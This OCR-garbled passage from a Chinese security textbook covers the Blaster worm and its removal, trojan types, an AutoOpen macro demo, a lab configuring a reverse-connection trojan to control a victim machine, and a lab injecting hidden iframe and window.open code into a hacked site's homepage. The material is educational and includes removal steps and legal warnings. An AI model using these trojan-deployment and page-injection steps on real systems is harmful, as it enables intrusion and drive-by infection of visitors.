蠕虫 人 侵 到 计算 机 系统 之 后 ,会 在 被 感染 的 计算 机 上 产生 自己 的 多 个 副本 ,每 个 
消耗 系统 资源 副本 都 会 启动 搜索 程序 寻找 新 的 攻击 目标 ,大 量 的 蠕虫 副本 进程 会 耗费 系统 的 
许多 资源 ,导致 系统 性 能 的 下 降 

多 数 蠕虫 会 搜集 、 扩 散 和 暴露 系统 的 敏感 信息 ,并 在 系统 中 留 下 后 门 ,这 就 称 为 
未 来 的 安全 隐患 


自我 繁殖 


造成 网 络 拥塞 


留 下 安全 隐患 


5. 蠕虫 的 危害 


蠕虫 的 危害 有 以 下 两 个 方面 : 

(1) 蠕虫 大 量 而 快速 的 复制 使 得 网 络 上 的 扫描 数据 包 迅 速 增多 ,占用 大 量 带 宽 ,造成 网 
络 拥塞 ,进而 使 网 络 瘫痪 。 

(2) 网 络 上 存在 漏洞 的 主机 被 扫描 到 以 后 ,会 被 迅速 感染 ,可 能 造成 管理 员 权 限 被 
窃取 。 


6. 蠕虫 病毒 的 一 般 防 治 方法 

使 用 具有 实时 监控 功能 的 杀毒 软件 ,不 要 轻易 打开 不 熟悉 电子 邮件 的 附件 等 。 

7.“ 冲 击 波 ” 里 虫 病毒 的 清 

“冲击 波 ” 是 一 种 利用 Windows 系统 的 RPC( 远 程 过 程 调用 ) 漏 洞 进行 传播 .随机 发 作 、 
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破坏 力 强 的 蠕虫 病毒 。 它 不 需要 通过 电子 邮件 (或 附件 ) 来 传播 ,更 隐蔽 ,更 不 易 察 觉 。 它 使 
用 IP 扫描 技术 来 查找 网 络 上 操作 系统 为 Windows Server 2000/2003/XP 的 计算 机 ,一 旦 找 
到 有 漏洞 的 计算 机 , 它 就 会 利用 DCOM( 分 布 式 对 象 模 型 ,一 种 协议 ,能 够 使 软件 组 件 通 过 
网 络 直 接 进 行 通信 )RPC 缓冲 区 漏洞 植 人 病毒 体 以 控制 和 攻击 该 系统 。 

“冲击 波 ” 中 毒 症状 : 系统 资源 紧张 ,应 用 程序 运行 速度 异常 ;网 络 速度 减 慢 ,用 户 不 能 
正常 浏览 网 页 或 收发 电子 邮件 ;不 能 进行 复制 、 粘 贴 操作 ; Word, Excel, PowerPoint 等 软件 
无 法 正常 运行 ;系统 无 故 重启 ,或 在 弹出 【系统 关机 警告 提示 后 自动 重启 等 。 


(iE 关闭 [系统 关机 ]】 提 示 框 的 方法 是 在 出 现 关机 提示 时 ,在 [运行] 对话 框 中 输 
入 shutdown -a 命令 并 执行 即 可 。 


“冲击 波 ” 蠕 虫 病毒 的 清除 过 程 如 下 。 
第 1 步 : 中 止 进程 。 在 Windows 任务 管理 器 的 【进程 ] 选 项 卡 中 查找 msblast. exe( 或 
teekids. exe, penis32. exe) ,选中 它 , 然 后 单 击 下 方 的 [结束 进程 3 按钮 。 


E 提示 也 可 以 在 命令 提示 符 窗 口 执行 命令 : taskkill. exe/im msblast. exe (或 
taskkill. exe/im teekids. exe \taskkill. exe/im penis32. exe). 


第 2 步 : 删除 病毒 体 。 搜 索 msblast. exeC X teekids. exe, penis32. exe) ,在 【搜索 结果 】 
窗口 中 将 找到 的 文件 彻底 删除 。 


提示 在 Windows XP 系统 中 ,应 首先 禁用 “系统 还 原 ” 功 能 ,方法 是 : 右 击 【我 的 
电脑 】, 选 择 【[ 属 性 了 命令 ,在 【系统 属性 】 对 话 框 中 选择 【系统 还 原 】 选 项 卡 , 选 中 [在 所 有 驱动 
器 上 关闭 系统 还 原 】 复 选 框 即 可 。 也 可 以 在 命令 提示 符 窗口 执行 如 下 命令 : 


Del 系 统 盘 符 \windows\ system\msblast exe (Windows XP 系统 )。 


第 3 步 : 修改 注册 表 。 打 开 注 册 表 编 辑 器 ,依次 找到 HKEY LOCAL. MACHINEV 
SOFTWARE Microsoft \ Windows \ Current Version \ Run. 删除 windows auto update = 
msblast. exe( 病 毒 变种 可 能 会 有 不 同 的 显示 内 容 ) 。 

第 4 步 : 重启 计算 机 。 重 启 计 算 机 后 ,“ 冲 击 波 ” 蠕 虫 病毒 就 从 系统 中 完全 清除 了 。 


5.10.3 特洛伊 木马 


如 今 的 网 络 , 是 木马 横行 的 时 代 , 各 种 各 样 的 木马 在 威胁 着 重要 信息 的 安全 。 

特 伊 洛 木 马 (Trojan Horse) 源 于 古 希 腊 特洛伊 战争 中 著名 的 “木马 屠城 记 ”, 传 说 上 古 希 
腊 有 大 军 围攻 特洛伊 城 , 数 年 不 能 攻 下 。 后 来 想 出 了 一 个 木马 计 ,制造 一 只 高 二 丈 的 大 木马 
假装 作战 马 神 ,让 士兵 藏匿 于 巨大 的 木马 中 。 攻 击 数 天 后 仍然 无 功 ,大 部 队 假装 撤退 而 将 森 
马 按 弃 于 特洛伊 城下 ,城中 敌人 得 到 解围 的 消息 ,将 木马 作为 战利品 拖 入 城内 ,全 城 饮酒 狂 
欢 。 木 马 内 的 士兵 则 乘 夜 晚 敌人 庆祝 胜利 .放松 警 惕 的 时 候 从 木马 中 仆 出 来 ,开启 城 门 及 四 
处 纵火 ,与 城 外 的 部 队 里 应 外 合 而 攻 下 了 特洛伊 城 。 后 来 称 这 只 木马 为 “特洛伊 木马 ”。 


1. 特 伊 洛 木马 的 定义 
在 计算 机 领域 ,特洛伊 木马 只 是 一 个 程序 , 它 驻 留 在 目标 计算 机 中 , 随 计算 机 启动 而 自 
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动 启动 ,并且 在 某 一 端口 进行 监听 ,对 接收 到 的 数据 进行 识别 ,然后 对 目标 计算 机 执行 相应 
的 操作 。 特 伊 洛 木马 一 般 是 利用 系统 漏洞 或 通过 欺骗 手段 被 植 入 到 远程 用 户 的 计算 机 系统 
中 的 ,通过 修改 启动 项 或 捆绑 进程 方式 自动 运行 ,并 且 具 有 控制 该 目标 系统 或 进行 信息 窃取 
等 功能 ,运行 时 一 般 用 户 很 难 察觉 。 特 洛 伊 木马 不 会 自动 进行 自我 复制 。 

特洛伊 木马 实质 上 只 是 一 种 远程 管理 工具 ,本 身 没有 伤害 性 和 感染 性 ,因此 不 能 称 之 为 
病毒 ,不 过 也 有 人 称 之 为 第 二 代 病 毒 ,原因 是 如 果 有 人 使 用 不 当 , 其 破坏 力 可 能 比 病毒 更 强 。 
另外 ,特洛伊 木马 与 病毒 和 恶意 代码 不 同 的 是 ,木马 程序 隐蔽 性 很 强 。 

特洛伊 木马 包括 两 个 部 分 : 被 控 端 和 控制 端 。 

(1) 被 控 端 

被 控 端 又 称 为 服务 端 ,将 其 植 入 要 控制 的 计算 机 系统 中 ,用 于 记录 用 户 的 相关 信息 , 比 
如 密码 ,账号 等 ,相当 于 给 远程 计算 机 系统 安装 了 一 个 后 门 。 

(2) 控制 端 

控制 端 又 称 为 客户 端 , 黑 客 用 来 发 出 控制 命令 ,比如 传输 文件 .屏幕 截图 .键盘 记录 ,其 
至 是 格式 化 硬盘 等 。 


2. 特 伊 洛 木马 的 类 型 


常见 的 特 伊 洛 木马 有 正 向 连接 木马 和 反 向 连接 木马 。 

CD 正 向 连接 木马 

正 向 连接 木马 是 在 中 木马 者 的 机 器 上 开 个 端口 ,黑客 去 连接 这 个 端口 ,前 提 条 件 是 要 知 
道中 木马 者 的 IP 地 址 。 

但 是 ,由 于 现在 越 来 越 多 的 人 使 用 宽带 上 网 ,并 且 还 可 能 使 用 了 路 由 器 ,这 就 造成 了 正 
向 连接 木马 的 使 用 困难 。 具 体 原 因 如 下 : 

CD 宽带 上 网 。 每 次 上 网 的 IP 地 址 不 同 (DHCP) ,就 算 对 方 中 了 木马 ,但 是 中 木马 者 下 
次 上 网 时 IP 地 址 又 改变 了 。 

@ 路 由 器 。 多 个 计算 机 共用 一 条 宽带 ,假如 路 由 器 的 IP 地 址 是 210. 12. 24. 34, 内 网 计 
算 机 的 IP 地 址 是 192. 168. X. X ,外界 是 无 法 访问 192. 168. X. X 的 ,就 算 中 了 木马 也 
没 用 。 

(2) 反 向 连接 木马 

为 了 解决 正 向 连接 木马 的 不 足 , 出 现 了 反 向 连接 木马 。 

反 向 连接 木马 让 中 木马 者 来 连接 黑客 ,不 管 中 木 马 者 的 IP. 地 址 如 何 改变 ,都 能 够 被 控 
制 。 但 是 ,如 果 黑 客 的 IP 地 址 改变 了 ,中 木马 者 就 不 能 连接 黑客 的 计算 机 了 ,解决 该 问题 的 
方法 是 中 木马 者 通过 域名 来 连接 黑客 的 计算 机 ,只 要 黑客 申请 一 个 域名 即 可 。 


3. 木马 传播 方式 


(1) 利用 邮箱 传播 木马 。 
(2) 网 站 主页 挂 马 。 
(3) 论坛 漏洞 挂 马 。 
(4) 文件 类 型 伪装 。 
(5) QQ 群发 网 页 木马 。 
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(6) 图 片 木 马 .RM 木马 、Flash 木马 。 
(7) 在 Word 文档 中 加 入 木马 文件 。 
(8) 用 下 载 软件 BT 制作 木马 种 子 。 
(9) 黑客 工具 中 绑 定 木 马 。 

(10) 伪装 成 应 用 程序 的 扩展 组 件 。 


5.10.4 实例 : 宏 病 毒 的 创建 与 清除 


1. 实验 过 程 


第 1 步 : UER. ITF Word 文档 ,依次 选择 [工具 了 民 安 了 民 安 1 命令 ,出现 【 安 ] 对 话 框 ， 
如 图 5-58 所 示 。 

第 2 步 : 定义 宏 名 为 一 个 自动 宏 。 如 : AutoOpen( 每 次 打开 一 个 已 有 文档 时 调用 该 
宏 ) , 单 击 【创建 按钮 进入 VB 编辑 状态 ,输入 内 容 如 下 : 


Sub AutcOpen () 


'AutoOpen Macro 
"Et 2010- 6- 10 由 张 同 光 创建 


Selection TypeText Text:- " 啡 常 简单 的 宏 病毒 示例 " 
End Sub 
$8 3 1p. 打开 一 个 已 有 Word 文档 ,检验 程序 功能 。 
第 4 步 : 删除 宏 , 在 [ 宏 ] 对 话 框 ,如 图 5-58 所 示 ,选择 一 个 宏 , 单 击 【删除 了 按钮 。 


aw 
AutoDpen 


THEO [amaaan A CX] 
RAD: 
ZE 2010-6-10 由 张 同 光 创建 


图 5-58 【 宏 ] 对 话 框 


2. 宏 的 理论 知识 


一 系列 命令 和 指令 组 合 在 一 起 形成 的 一 个 命令 ,用 以 实现 任务 执行 的 自动 化 。 
CD 宏 的 创建 和 保存 
以 微软 Office 中 的 Word 为 例 。 它 提供 两 种 宏 创建 方法 : 宏 录 制 器 和 VB 编辑 器 。 方 
法 是 : 运行 Word, 选 择 [ 工 具 】I【 宏 命令 ,选择 [ 宏 录制 或 [VB 编辑 器 命令 就 可 以 创建 宏 。 
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宏 可 以 保存 到 模板 或 文档 中 .默认 情况 下 ,Word 将 宏 存 储 在 文件 名 为 Normal. dot 的 
模板 中 ,该 模板 中 的 宏 可 以 被 所 有 Word 文档 使 用 。 

(2) Word 模板 

Word 模板 是 微软 为 方便 Word 使 用 ,集成 在 Word 中 的 各 种 类 型 文档 的 一 般 模式 。 如 传 
真 .报告 .通讯 录 模 板 等 。 此 外 ,Word 还 允许 用 户 在 模板 中 添加 自己 定义 的 宏 。 使 用 户 在 制作 
自己 的 特定 格式 文件 时 ,减少 重复 劳动 。 任 何 一 个 Word 文件 都 有 相应 的 模板 对 应 ,而 在 所 有 
模板 中 ,最 常用 的 就 是 Normal. dot 模板 (通用 模板 ) , 它 是 启动 Word 时 载 入 的 默认 模板 。 当 打 
开 或 建立 大 多 数 Word 文档 时 ,系统 都 会 自动 装 和 人 Normal. dot 模板 并 执行 其 中 的 宏 。 

(3) 自动 宏 

自动 宏 是 Word 自动 执行 的 宏 。 当 Word 打开 文件 时 ,首先 检查 是 否 有 自动 宏 存在 ,如 
有 ,就 自动 启动 它 。Word 宏 病 毒 至 少 包含 一 个 以 上 的 自动 宏 , 当 Word 启动 时 , 宏 病 毒 程序 
也 自动 执行 。 

常见 的 自动 宏 见 表 5-27, 宏 病毒 通常 是 通过 这 些 自 动 宏 来 扩散 的 。 

表 5-27 常见 的 自动 宏 


宏 名 调用 时 机 B 名 调用 时 机 
AutoNew 每 次 生成 新 文档 时 调用 Document_Close 文档 关闭 时 调用 
AutoOpen 每 次 打开 一 个 已 有 文档 时 调用 | FileSaveAs 文件 另存 时 调用 
AutoClose 每 次 关闭 一 个 文档 时 调用 FileSave 文件 保存 时 调用 
AutoExit 每 次 退出 Word 时 调用 FileOpen 文件 打开 时 调用 
AutoExec 启动 Word 时 调用 


(4) 宏 病 毒 

宏 病 毒 (MacroVirus) 是 一 种 利用 应 用 程序 宏 语 言 编制 的 计算 机 病毒 , 它 附着 在 某 个 文 
件 上 , 当 用 户 打 开 这 个 文件 时 , 宏 病 毒 就 被 激活 ,并 产生 连锁 性 的 感染 。 

针对 MSWord 的 宏 病毒 通常 感染 Word 的 DOT 模板 文件 ,尤其 是 Normal. dot X fF. 
该 文件 是 系统 中 大 部 分 文档 和 字模 板 的 基础 ,在 系统 默认 状态 下 该 模板 文件 首先 被 打开 ,如 
果 Normal. dot 文件 被 病毒 感染 , 当 它 被 打开 时 ,病毒 就 会 扩散 到 其 他 文档 和 模板 。 宏 病毒 
迫使 正在 编辑 的 文档 以 指定 模板 格式 存盘 ,以 便 进行 传播 。 因 为 宏 病 毒 无 法 附着 在 标准 格 
xt DOC 文件 中 ,只 有 文档 模板 可 以 存储 实际 的 宏 代 码 , 从 而 作为 病毒 载体 。 


5.10.5 实例 : 反 向 连接 木马 的 传播 


1. 实验 环境 

实验 环境 如 图 5-59 所 示 。 192.168.10.1 192.168.10.5 

2 生成 森马 的 服务 器 端 4 W 
Windows 2003 Windows XP 

第 1 步 : 下 载 并 安装 灰 锣 子 。 被 入 侵 者 ， 木 马 服务 器 端 ” 黑客 ,木马 客户 端 

第 2 步 : 配置 反 向 连接 木马 。 图 5-59 实验 环境 


ey 
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运行 灰 铝 子 , 主 界面 如 图 5-60 所 示 , 单 击 【配置 服务 程序 按钮 ,弹出 图 5-61 所 示 的 对 
话 框 ,选择 【自动 上 线 设置 3 选项 卡 , 在 此 需要 强调 的 是 ,由 于 是 配置 反 向 连接 木马 ,所 以 一 定 
要 在 IP 栏 中 输入 黑客 (客户 端 ) 的 IP 地 址 192. 168. 10. 5, 其 他 配置 信息 根据 界面 提示 进行 
设置 ,如 图 5-62 一 图 5-64 所 示 。HKFX2008_OK. exe 是 最 终生 成 的 反 向 连接 木马 服务 
器 端 。 


[E KRB52008:t 2 KEFKA — 192.168. 10.5, 169. 254. 199. 41, 192. 168.239. 1, 192. 168.85. 1 Tesis esr 


Jes [UIBKRSB [43/35] 


图 5-60 KASTEN 


EC 
3SQUSOR [ 括 件 功能 


服务 加 配置 EES) (Esama k 
BEMAN [安装 选项 | 局 动 项 设 辕 | 代理 服务 | 高 如 过 项 [插件 功能 [Emea [scita | esos | 代理 服务 

TIP 通 和 http 访 问 地 址 、DhS 解 折 城 名 吏 回 定 IF : | 
cpm ^ EL] | 


S i nDir )\GHFHGJINSSJDY. ex v | 


rmm: cub 
lug: — [oU 
tat: | 
连接 密码 ; 说 明 | 
历史 时 置 记录 : BUREE -WA 


i 
RENEE: UDocwments and Setting nd] 了 生成 服务 器 |] | 保存 路径: [Ci Documents and Settings 7] ( 生成 服务 器 
€ 
l J 
图 5-61 自动 上 线 设置 图 5-62 安装 选项 


服务 加 配置 EES 
EJERCE | 安装 过 项 | 局 动 项 设置 | 代理 服务 | 高 级 这 项 [IF 


V) 使 用 IEXPLORE. EXE 进程 启动 服务 端 程序 
RIRA. RAF Win2000/xp 系统 
LB 
使 用 IEXPLORE. EXE 进程 启动 只 支持 Win2000/XP 系 统 ? 
ex ORA vx 


保存 路 径 : trator\ 硕 面 WHFX2003_0K exe O) [ 生成 服务 器 保存 路 径 : [trator\ 丰 而 WEEX2008_ OK exe [7] | 生成 服务 器 
图 5-63 启动 项 设置 图 5-64 高 级 选项 
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3. 把 木马 服务 器 端 植 入 他 人 的 计算 机 


木马 的 传播 方式 主要 有 两 种 。 

一 种 是 通过 电子 邮件 ,控制 端 将 木马 程序 以 邮件 附件 的 形式 发 出 去 , 收 信 人 只 要 打开 附 
件 , 系 统 就 会 感染 木马 。 

另 一 种 是 软件 下 载 ,一 些 非 正规 的 网 站 以 提供 软件 下 载 为 名 义 , 将 木马 捆绑 在 软件 安装 
程序 上 ,下 载 后 ,只 要 一 运行 这 些 程 序 , 木 马 就 会 自动 安装 。 

本 实验 主要 介绍 黑客 是 如 何 使 用 木马 程序 来 控制 被 入 侵 计算 机 的 ,所 以 直接 将 反 向 连接 
木马 服务 器 端 HKFX2008_OK. exe 复制 到 了 被 入 侵 计 算 机 (192. 168. 10.1,ZTG2003) 中 。 

接 下 来 运行 HKFX2008_OK. exe, 反 向 连接 木马 就 会 自动 进行 安装 ,首先 将 自身 复制 
到 C:\WINDOWS 或 C:\WINDOWS\SYSTEM 目录 下 ,然后 在 注册 表 、 启 动 组 、 非 启动 组 
中 设置 好 木马 的 触发 条 件 , 这 样 木马 的 安装 就 完成 了 。 


4. 黑客 进行 远程 控制 


由 于 是 反 向 连接 木马 ,所 以 服务 器 端 上 线 后 就 会 自动 连接 客户 端 (黑客 ) ,在 主 界面 中 
(如 图 5-65 所 示 ) 可 以 看 到 ZTG2003 已 经 与 黑客 计算 机 连接 了 , 即 被 黑客 控制 。 


EBs2008 5c IPS T VI JI C T3. 168. 10 5; 169; 254. 189. 41, 192; 168.239. 1, 192. 168 85 Doc 二 -| 加 | 


文件 EE) VEO IAV 0 
IR TR-ARRCAE- NIRE REN 
ee p nem 


: [2762003 i eRe: 


Aar 
ta aa) e (is 
E ESS I 


L = 

| 读 取 系统 信息 充 毕 -下午 10:02:06 

| 读 取 进 程 列表 命令 发 送 成 功 ! 

| 远程 进程 管理 类 命令 执行 成 功 .下午 10:02:20 


图 5-65 ”远程 控制 ZTG2003 一 【文件 管理 器 选项 卡 


在 图 5-65 中 的 [文件 管理 器 】 选 项 卡 中 ,可 以 像 使 用 [Windows 资源 管理 器 3 一 样 来 新 
建 . 删 除 、 重 命名 、 下 载 被 人 侵 计算 机 中 的 文件 。 

在 图 5-66 中 的 [远程 控制 命令 〗 选 项 卡 中 ,可 以 查看 被 入侵 计算 机 的 系统 信息 ;可 以 查 
看 、 终 止 被 人 侵 计算 机 的 进程 ;可 以 启动 .关闭 被 人 侵 计算 机 的 服务 等 。 

在 图 5-67 中 的 【命令 广播 3 选项 卡 中 ,可 以 向 所 有 被 人 侵 计算 机 发 送 相同 的 命令 。 
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EE x | 


(E) KSRBh20089tZ AS5-FYIPRON — 192.168. 10.5, 169.254. 189. 41, 192. 168. 239. 1, 192. 168.85. 1 
:文件 四 REO IRO Who 


RM AE RR 


niit: Ereth 
| 远程 进程 管理 类 命令 执行 成 功 . 下午 10:05:37 
Www.hacker.com.cn 


18 个 对 象 。 当前 路 径 ; c PORR: IÉ 


图 5-66 远程 控制 ZTG2003 一 【远程 控制 命令 3 选项 卡 


(E KHBB2o0SRCHSSTYILNOE 192.168.10.5, 169: 254,169.41, 192, 168. 239. 1, 192.108.0.1. NEES] 
i XPO REO IRO 帮助 人 D 

PARSE ARR 20 RR: 
: 当前 连接 : [2762003 电脑 名 称 : [Z702003 | 连接 密码 : (em) 
i mA: — — —] [BEEHER — 7 R R [ER 


Ea [soient e [FIRRA] rE 


192.168.10.1 ÆHF] 。 Tinders Server 2003 5.2 (3790. Service Pack 2) ZTG2003 — 下午 09:59:07 — 性 岁 2008 


HEBR: IE: 
下 载 文件 : E: 


回 文件 下 载 完 成 后 目 动 运行 


远程 进程 管理 类 命令 执行 成 功 .下 午 10:02:20 

读 职 进程 列表 命令 发 送 成 功 ! 

远程 进程 管理 类 命令 执行 成 功 .下午 10:05:37 
16 个 对 象 mime cV BHRR: 16 


图 5-67 远程 控制 ZTG2003 一 【命令 广播 ] 选 项 卡 


5. 手工 清除 灰 饮 子 


确认 灰 铝 子 的 服务 进程 名 称 , 假 如 是 HKFX2008_OK ,在 桌面 右 击 【 我 的 电脑 3 图 标 , 在 右 
键 菜单 中 选择 [服务 了 命令 ,在 弹出 的 [服务 了 窗口 中 ,禁止 HKFX2008_OK 服务 , 右 击 该 服务 ,在 
右键 菜单 中 选 括 [ 属 性 了 命令 ,在 [属性 对话 框 中 得 到 该 服务 文件 的 位 置 ,将 其 删除 即 可 。 


5.10.6 实例 : 网 页 病毒 ,网 页 挂 马 


如 今 各 式 各 样 的 病毒 在 网 络 上 横行 ,其 中 ,网 页 病毒 .网 页 挂 ( 木 ) 马 在 新 型 的 病毒 大 军 
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中 危害 面 最 广 ,传播 效果 最 佳 。 

网 页 病毒 、 网 页 挂 ( 木 ) 马 之 所 以 非常 流行 是 因为 : 它们 的 技术 含量 比较 低 、 免 费 空间 和 
个 人 网 站 增多 、 上 网 人 群 的 安全 意识 比较 低 ,另外 ,国内 网 页 挂 ( 木 ) 马 大 多 是 针对 IE 浏 
览 器 。 


本 节 通过 实例 介绍 网 页 病毒 \ 网 页 挂 ( 木 ) 马 。 2181981895 218.198.1891 
1. 实验 环境 

Windows 2003 Windows XP 
实验 环境 如 图 5-68 所 示 。 Web 服 务 器 入 侵 者 
2. 实验 过 程 Aak 


第 1 步 : 设置 IP 地址。 在 Windows 2003 上 ,对 本 台 计 算 机 的 网 卡 设置 两 个 IP 地 址 ， 
如 图 5-69 所 示 , 目 的 是 要 在 本 台 计 算 机 上 架设 基于 IP 地 址 (218. 198. 18. 93、218. 198. 18. 95) 
的 两 个 网 站 。 

第 2 步 : 打开 【Internet REIR Z OIS) E MEJANO. Æ Windows 2003 上 ,打开 
【Internet 信息 服务 (IIS) 管 理 器 了 窗口 ,如 图 5-70 所 示 , 右 击 【 默 认 网 站 选项 ,选择 右键 菜单 
中 的 [属性 命令 ,出 现 如 图 5-71 所 示 对 话 框 ,为 本 网 站 选择 的 TP 地 址 是 218. 198. 18. 93. 


高 级 TCP/IP 设置 


zRE|ms | ws Dem | 


IP Bb QU 
IP 
218.19. 18.95 255.255.255.0 =iojxj 
Mg xit) MEO FEV 窗口 和 D HAV TTE 
[EXQ—] saw.. | mmo e-|gmxmoB?s 2|. 
EZ pco Ec Internet 信息 服务 
CERA Œ: déCeriControl C: WINDOWS sys ten3z 
C: WINDOWS systen32 
| [E53 Er C: WINDOWS zysten3Z 
$ CertEnroll 
BD CertSrv 
Bm... | sao gmo | DD a RAFA 
[f BRiAEH OD 
mukemo: p — — 


图 5-69 【高 级 TCP/IP 设置 3 对 话 框 图 5-70 [Internet 信息 服务 (IS) 管理 器 窗口 


第 3 步 : 创建 www_muma 网 站 的 主 目录 。 在 Windows 2003 上 .在 Inetpub 文件 夹 中 
创建 www_muma 子 文件 夹 , 该 文件 夹 是 新 建 网 站 的 主 目录 的 第 4 步 。wwwroot 是 默认 网 
站 的 主 目录 。 

第 4 步 : 创建 网 站 。 在 图 5-70 中 右 击 【 网 站 3 选项 ,依次 选择 [新建 ] 民 网 站 ] 荣 单 命令 ， 
如 图 5-72 所 示 ,开始 创建 网 站 ,创建 过 程 如 图 5-73 一 图 5-76 所 示 。 

第 5 步 : 复制 网 站 文件 。 在 Windows 2003 上 ,读者 可 以 将 两 个 简单 的 网 站 文件 
Gndex. htm) 分 别 复 制 到 wwwroot 和 www_muma 文件 夹 中 。 
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ixi 
B l xm 头 l SEUNA 1 
网 站 性 能 | ermes | rBRO| xe 
网 站 标识 
描述 回 ; pm oo 
PED [CRESE] z] auo. 
二 不 有一 一 一 一 一] 
wann: fae 
[218. 198. 18. 95 
peg 
连接 要 时 QD EN) 
Tv 保持 HTTP ERE QD. 
[T BREEIER QD 
活动 日 志 格式 V: 
[ic 扩展 日 志文 件 格式 z] meo. 


网 站 描述 用 于 帮助 管理 员 识别 站 点 。 


输入 同 站 描述 。 
ds QU: 


| 


E Internet. 信息 服务 ONSAS 
z18l xl 

GLD REW SEV FOV 帮助 0 
cm foB ema] a 


Internet 信息 服务 
ES zrc-2003sr2 (本 地 计算 机 f Ri 
程序 ; 
-ED 


开始 创建 网 站 


网 站 创建 育 导 XI 
IP 地 址 和 端口 设置 
指定 新 网 站 的 IP 地 址 ,端口 设置 和 主机 头 。 


网 站 IP ibit O): 


网 站 TCP 端口 RUIN: 80) (D 


此 网 站 的 主机 头 RU: EW 


有 关 更 多 信息 ， 请 参阅 II 产品 文档 。 


《< 上- 步 图 取消 


图 5-73 网 站 描述 


网 站 主 目录 
EARE "es 内 容 子 目录 的 根 目录 。 


输入 主 目录 的 路 径 。 
BED: 


[E Mnetpub innr muna 


peo. ] 


Tv fter SS FO 他 ) 


< 上 一 步 @@) 取消 


图 5-74 


IP 地 址 和 端口 设置 


网 站 访问 权限 
设置 此 网站 的 访问 权限 。 
区 许 下 列 权限 
F RG 
Fe 运行 脚本 o ASP) G) 
F AGO ISUI ARERR CIE) 
r 写 入 中 
厂 meo 


单 击 “ 下 一 步 ” 按 鱼 完成 身 导 - 


图 5-75 


网 站 主 目录 


LEEW 取消 


图 5-76 网 站 访问 权限 
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编辑 wwwroot 文件 夹 中 的 index. htm 文件 fe X XC PE US I3 <body>- —/ body 
之 间 插 和 图 5-77 所 示 的 被 圈 部 分 代码 。 


图 5-77 wwwroot 文件 夹 中 的 index. htm 文件 


BE 这 一 步 的 前 提 是 入 侵 者 成 功 入 侵 了 一 个 网 站 (本 例 中 是 指 默认 网 站 
wwwroot) ,这 样 就 可 以 对 入 侵 网 站 的 网 页 文件 进行 修改 , 植 入 网 页 木马 或 病毒 等 。 如 何 
成 功 入 侵 一 个 网 站 呢 ? 读者 可 以 使 用 前 面 介绍 的 方法 或 者 求助 于 网 络 , 不 过 入 侵 和 自 改 
他 人 服务 器 上 的 信息 属于 违法 行为 ,本 教程 之 所 以 介绍 这 些 内 容 , 是 让 大 家 了 解 各 种 黑客 
入 侵 技术 ,更 好 地 保障 自己 的 信息 系统 的 安全 ,也 希望 读者 不 要 利用 这 些 技术 进行 入 侵 ， 
而 是 共同 维护 网 络 安全 。 


第 6 步 : 打开 浏览 器 。 在 Windows XP 上 ,打开 Firefox 浏览 器 ,地 址 栏 输入 218. 198. 
18. 93 ,结果 如 图 5-78 所 示 。 


O- C X m X 因 D xo isis y -|ie 
| wma E 


图 5-78 访问 wwwroot 网 站 一 网 页 嵌入 


BES 图 5-78 中 左上 角 的 被 图 部 分 ,是 图 5-77 中 椭圆 部 分 代码 的 效果 。 


代码 二 iframe src— http: //218. 198. 18. 95/index. htm width=20 height=20 frameborder— 
1 二 二 /iframe 过 其实 就 是 时 常 所 说 的 网 页 病毒 .网 页 挂 马 的 一 种 方式 。 不 过 在 本 测试 中 , 仅 
仅 是 在 原 网 站 的 首页 中 嵌入 了 另外 一 个 网 页 ,如 果 把 width height 和 frameborder 都 设置 
为 0, 那么 在 原 网 站 的 首页 不 会 发 生 任何 变化 。 但 是 ,嵌入 的 网 页 (218. 198. 18. 95/index. htm. 
该 index. htm 文件 称 为 网 页 病毒 或 网 页 木马 ) 实 际 上 已 经 打开 了 ,如 果 218. 198. 18. 95/ 
index. htm 中 包含 恶意 代码 ,那么 浏览 者 就 会 受到 不 同 程度 的 攻击 。 如 果 218. 198. 18. 95/ 
index. htm 是 网 页 木马 ,那么 所 有 访问 该 网 站 首页 的 人 都 会 中 木马 。 网 页 上 的 下 载 木 马 和 
运行 木马 的 脚本 还 是 会 随 着 门户 首页 的 打开 而 执行 的 。 

提示 <iframe 之 称 为 浮动 帧 标签 , 它 可 以 把 一 个 HTML 网 页 谋 入 到 另 一 个 网 页 
里 实现 画 中 画 的 效果 (如 图 5-78 所 示 ) ,被 语 入 的 网 页 可 以 控制 宽 、 高 以 及 边框 大 小 和 是 否 


E 
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出 现 滚 动 条 等 。 

大 家 在 打开 一 些 著名 的 网 站 时 杀毒 软件 会 报警 ,或 者 在 使 用 Google 进行 搜索 后 ,搜索 
结果 中 有 些 条 目 提 示 说 此 网 站 会 损害 计算 机 ,主要 原因 在 于 这 些 网 站 的 网 页 中 被 植 入 了 木 
马 或 病毒 。 

第 7 步 : 编辑 wwwroot PHY index. htm 文件 。 在 Windows 2003 上 ,编辑 C; MInetpubN 
wwwrootNindex. htm 文件 ,插入 如 图 5-79 所 示 的 被 圈 部 分 代码 。 


«title» S iso title» 


K/head» 
<body> 


<script language=javascript> 

windou.open("http://218.198.18.95/index.htn", "", "toolbar-no,location-no,status-no, 
menubar=no,scrollbars=no wi dth-50, height-50"); 

K/script» 


<table uidth-"763" height-"507" border="1" cellspacing-1 bordercolor-"i009900";» 


图 5-79 wwwroot 文件 夹 中 的 index, htm 文件 


wwwroot 中 index. htm 文件 的 代码 说 明 见 表 5-28 。 
表 5-28 index. htm 文件 代码 说 明 


代 码 说 明 
<script language=javascript> javascript 脚本 开始 
window. open 弹出 新 窗口 
218. 198. 18. 95/index. htm 弹出 新 窗口 的 网 页 文件 
弹出 窗口 标题 栏 显 示 的 名 字 ,在 此 为 空 
toolbar 一 no 不 显示 工具 栏 
location— no 不 显示 地 址 栏 
status 一 no 不 显示 状态 栏 内 
menubar 一 no 不 显示 菜单 栏 
scrollbars 一 no ES EI EI 
width 一 50 窗口 宽度 
height 一 50 窗口 高 度 
</script> javascript 脚本 结束 


第 8 步 : 打开 浏览 器 。 在 Windows XP 上 打开 浏览 器 (IE 或 者 Firefox) ,地 址 栏 输入 
218. 198. 18. 93 ,结果 如 图 5-80 所 示 。 


(REX 图 5-80 中 左上 角 的 被 围 部 分 是 图 5-79 中 椭圆 部 分 代码 的 效果 。 


如 果 把 width, height 都 设置 为 1( 如 果 设 置 为 0, 访问 218. 198. 18. 93 的 网 站 时 弹出 
的 木马 网 页 是 全 屏 ) ,那么 在 原 网 站 的 首页 基本 不 会 发 生 什么 变化 ,但 是 ,嵌入 的 网 页 


Xt SEO SEV PLO SED IAW 


(EN 
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EHO 


图 5-80 访问 wwwroot 网 站 一 弹出 新 窗口 


